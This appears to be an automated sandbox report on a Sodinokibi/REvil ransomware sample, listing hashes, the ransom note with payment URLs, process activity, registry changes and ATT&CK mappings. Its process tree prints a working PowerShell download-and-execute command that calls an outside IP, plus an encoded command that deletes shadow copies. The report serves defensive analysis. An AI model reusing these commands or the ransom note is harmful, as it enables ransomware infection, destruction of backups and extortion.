sodinokibi | 26044d6010566eb7dd69bf7aa8595f0aa4b739d18418526591bd1bf544f91b4a

General

Target

837314d5a05e52f9e0f09a5a473497d3.bat
Size

219B
MD5

e87a8c6ada089d0fc3473fb4ba1558c2
SHA1

dd36ca2fa4407f895a6261a1cfee402482ed0bc9
SHA256

26044d6010566eb7dd69bf7aa8595f0aa4b739d18418526591bd1bf544f91b4a
SHA512

254f838fba727d5a1fc5a71a60182b9b940e0fcb93a0797e335ee99e46d4a8ea2d7a613f7ee72a567146a7d13ff2bc20f8187eb199bd336969eedfed6403ed4c

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/837314d5a05e52f9e0f09a5a473497d3

Extracted

Path

C:\88a3w9hls4-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 88a3w9hls4. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/99CC83E05C635FBD 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/99CC83E05C635FBD Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: UVebTkdtjjkDgSDgySj1U/DhdAAq+UdEpopVzgmjgGWtX4cc8rQux/ODDBNynpN5 8M3lWAlcVGfGh8tjrqgag/dtYC+j5zhS66LxPhEkzWJHIVPatFWqEue2qhbBrWtY Zyk7xpyggMDjEkJKcrTyJM0P5MSDuNp0AJPXkaBJD6HqM7KhJdZANCQbcTUavG9k HYv2eDbrM6jyfJiajFxQNyZ/mCivZIuNhEoibDvcy2HpebtuYCqZFe79aDn7Nzqp SYQDSIOqZBvjOuRYystqedoJYLk1b++vS9WrAoKfKMsEog1BcfHQxoaBDubVNsFU qyoAJ2rarwch/U6EJL3YQPlOP3uEzKtLMnyxj8g4bZ+edFT2CkWathoRgwV18Ojg DfBYPcwoL2IdRN5yT/yvwuruOgwYHzBb8w1Jr6a7NA7M9YIbUJIolypt3C7YWT7T 1/tDw19/ibI59GEzByqID1khlf62k+kg0uyfbGS5QBeyR13MrvwMMZZnk/wOqaS1 KFsHMDrgNmFeFjDCuY2nb6bpu9vzhsotPvuNdiGvBUoxp1gveWVXfNBhhPMb115S kiVyzJh31dJLyvmNnAiT8+kfhGvrVqJ45ceFhLHPmI7vcu04DwXCpqwMhoCyv1BQ TDihNnjnkGvmJnbUHYNBUAugY/0Hm1xrv+VNNP8m0PwCFWhoLrqvRfggyMAvkwMq WL9w5JuMwBvjsHwnubUidjJreyKopuDrA8EGn1w8tyttDli5vYRyECmGIdwKRk66 nZaG6MkrYV1b0oTcqgEG9AnFmGJbBOoQiRopYlqpUvHjiGA+40Kr+SdQTfOFrg/z IKtmc2drIRaYazDdWx5ScHNk39Tf8xnrDqD6GeK1syy/D/5QK1letcD1yQH962mY xkav29ziPF8c/CG/q4RENUgnKbWbaz+hrgReIsoXgbhfsHpp6V4hQrJW4zo4j5Es Aruow3SPNXrjy0sVQUVOtDJb0ZyiuYA6oFklj+c16Y1LvrF28+tfiJS8hZrWFYpp typCZAzuVDm8+rou8GfS0wwxrzmPvkdp5RhoOyyEz84V63K8RCnZCqmttVcE4Y64 WlGTPlM6ByqCDBpEkEbphNAvJbDF7ienNhdBeSpgE5ejdjOOl+ktmdfY8ijmADmN 5OAdtcxBkLsWbCi5kNbgY3s2dzQEX7hHOaUGZlnswdq0WPuoiqqD5sSbeJeH+yMN 8ei/ly0H/2rDH+hkEmy+1WeRCD321EW6P7Sxaxu21Swevi01HtUIkFaummBROS3t klRfrPeQ96RZ4tXL8TMF4/T6pyyrRzbuHeZN0+Jdj+tL5SBRTNIjXQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/99CC83E05C635FBD

http://decryptor.cc/99CC83E05C635FBD

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

364 powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	364	powershell.exe
Token: SeDebugPrivilege	364	powershell.exe
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeBackupPrivilege	1616	vssvc.exe
Token: SeRestorePrivilege	1616	vssvc.exe
Token: SeAuditPrivilege	1616	vssvc.exe
Token: SeTakeOwnershipPrivilege	364	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
364	powershell.exe
364	powershell.exe
364	powershell.exe
1900	powershell.exe
1900	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\l77lgdo6tb5n0.bmp"	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1032 wrote to memory of 364	1032	cmd.exe	powershell.exe
PID 364 wrote to memory of 1900	364	powershell.exe	powershell.exe
PID 364 wrote to memory of 1900	364	powershell.exe	powershell.exe
PID 364 wrote to memory of 1900	364	powershell.exe	powershell.exe
PID 364 wrote to memory of 1900	364	powershell.exe	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 364 powershell.exe

flow	pid	process
3	364	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Drops file in Program Files directory 34 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\AddUpdate.wav	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromJoin.doc	powershell.exe
File opened for modification	\??\c:\program files\GetEnable.temp	powershell.exe
File opened for modification	\??\c:\program files\RevokePop.3gpp	powershell.exe
File opened for modification	\??\c:\program files\StartPublish.dotm	powershell.exe
File opened for modification	\??\c:\program files\UpdateEnter.rle	powershell.exe
File opened for modification	\??\c:\program files\LimitUninstall.vbs	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\88a3w9hls4-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\PingComplete.xlsb	powershell.exe
File opened for modification	\??\c:\program files\ConvertRequest.midi	powershell.exe
File opened for modification	\??\c:\program files\ExportProtect.ppsm	powershell.exe
File opened for modification	\??\c:\program files\NewAdd.vsdx	powershell.exe
File opened for modification	\??\c:\program files\RevokeShow.clr	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\88a3w9hls4-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DebugRename.xps	powershell.exe
File opened for modification	\??\c:\program files\ResolveDisconnect.js	powershell.exe
File opened for modification	\??\c:\program files\SaveConvertFrom.au3	powershell.exe
File opened for modification	\??\c:\program files\StepShow.ppt	powershell.exe
File opened for modification	\??\c:\program files\ApprovePublish.mpeg3	powershell.exe
File opened for modification	\??\c:\program files\SendMount.xls	powershell.exe
File created	\??\c:\program files (x86)\88a3w9hls4-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\PublishTest.shtml	powershell.exe
File opened for modification	\??\c:\program files\RenameSwitch.ram	powershell.exe
File created	\??\c:\program files\88a3w9hls4-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConnectLimit.wma	powershell.exe
File opened for modification	\??\c:\program files\InitializeInvoke.wvx	powershell.exe
File opened for modification	\??\c:\program files\OptimizeStart.mid	powershell.exe
File opened for modification	\??\c:\program files\ShowConvertTo.zip	powershell.exe
File opened for modification	\??\c:\program files\TracePublish.gif	powershell.exe
File opened for modification	\??\c:\program files\UnblockLock.xlt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\88a3w9hls4-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RestoreGroup.raw	powershell.exe
File opened for modification	\??\c:\program files\ResumeProtect.doc	powershell.exe
File opened for modification	\??\c:\program files\UnprotectUnblock.vssx	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\837314d5a05e52f9e0f09a5a473497d3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1032

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/837314d5a05e52f9e0f09a5a473497d3');Invoke-VPQRVSXXHIUV;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Drops file in Program Files directory
PID:364

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1900

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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memory/364-12-0x0000000009280000-0x0000000009605000-memory.dmp

Filesize
3.5MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads